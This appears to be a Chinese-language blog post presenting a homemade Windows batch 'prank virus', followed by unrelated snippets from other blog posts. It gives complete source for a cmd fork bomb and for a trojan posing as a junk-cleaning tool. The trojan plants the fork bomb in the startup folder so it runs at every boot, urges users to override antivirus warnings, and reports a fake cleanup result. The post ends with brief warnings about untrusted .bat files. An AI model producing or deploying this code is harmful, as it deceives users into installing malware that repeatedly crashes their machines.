最近看了一點bat的知識,具體說是看了乙個部落格:
用了三天才看完=。=,感覺作者整理整理可以把部落格當書買了。。。
然後自己突發其想,想到了乙個小病毒程式,其實也算不上病毒,只能算是個惡作劇程式吧,其原理就是不斷開啟cmd程式,占用系統資源。。。呵呵。。讓大神見笑了=。=
windows.bat
start cmd使用者開啟這個程式之後,程式就會不斷開啟cmd,占用系統資源,導致系統癱瘓。%0是再次執行該程式的意思。%0
但是,這樣只能讓使用者宕機一次。。。。重啟系統以後,不再開啟這個檔案以後,就不再會中招了。。。。。
於是做了優化:
寫了乙個系統清理工具(這只是掩飾,嘿嘿,其實我們是要把這個windows.bat寫到使用者的開機自啟動目錄下,達到使用者每次開機,都會執行該程式的目的。但是,也不是不可以解決。。。使用者可以使用pe到開啟啟動目錄把windows.bat檔案刪除,或者重灌系統,只測試了xp和win7)
廢話不說了,上**:
系統垃圾清理工具:
@echo off說明:首先我們使用echo語句在c:\windows\目錄生成windows.bat檔案title 系統垃圾清理
color 2f
echo *****若有防毒軟體惡意攔截,請選擇【允許程式的所有操作】====
echo.
echo.
echo start cmd >c:\windows\windows.bat
echo %%0>>c:\windows\windows.bat
if %errorlevel%==0 goto next
copy c:\windows\windows.bat "%userprofile%\「開始」選單\程式\啟動\">nul
if %errorlevel%==1 goto error
:next
echo.
echo.
echo *****垃圾清理中,請不要關閉視窗*****====
echo.
ping -n 5 127.0.0.1>nul
echo.
echo *****垃圾清理完畢,共清理垃圾500m*****==
echo.
echo.
echo *****建議立即重啟電腦**********
pause
:error
echo.
echo.
echo *****=程式執行失敗,請【使用管理員許可權】重新執行!*****===
echo.
pause
然後copy到系統的開機啟動目錄
"%userprofile%\「開始」選單\程式\啟動\"對應xp的系統開機目錄
正常情況下應該是有一條拷貝命令可以執行的,如果兩條命令都沒有執行說明,許可權不夠,這時提示使用者以管理員許可權再次執行。
警示1:
最後,大家收到bat檔案的時候,開啟之前一定要先用右鍵——記事本開啟看看,不然很可能就中招了。。。。
但是,也有很多軟體可以把bat轉exe檔案,這樣就看不到**了。。。。。。所以,大家不要輕易執行不可信任的程式,可以在沙盒或者虛擬機器中先執行試試
警示2:
這個清理系統垃圾的程式,是設定在系統開機的時候發作,所以使用者當時執行完並不知道已經中招了。。病毒有潛伏期,大家需警惕~~
自己寫的小病毒
前年寫的病毒,當時中了蘿拉病毒,然後我照的它寫了乙個,參考了好多資料,主要是386彙編和pe檔案結構的資料,個人感覺彙編什麼的不是很難,當時我還不太熟悉巨集彙編,不然可以有更簡潔的 486 model flat,stdcall option casemap none include ma 32 in...
Windows 下用BAT寫乙個簡單的apk安裝器
使用android studio 打包了apk檔案,有時覺得給手機安裝apk挺麻煩的,不妨試試在windows上編寫bat程式給手機安裝apk。其實原理就是使用adb命令進行apk安裝。echo off title apk安裝 color e rem 將adb.exe新增到path中 echo 初始...
寫乙個簡單的批處理(bat)
看了看以前寫的總結,發現有這樣的乙個批處理,還是挺有意思。拿出來分享一下。1 for d i in do 2 rem set day ti 3 cd i 4 for j in do 5 echo j j 6 set file1 dp0 i j 7 echo dp0 i j 8 set file2 c...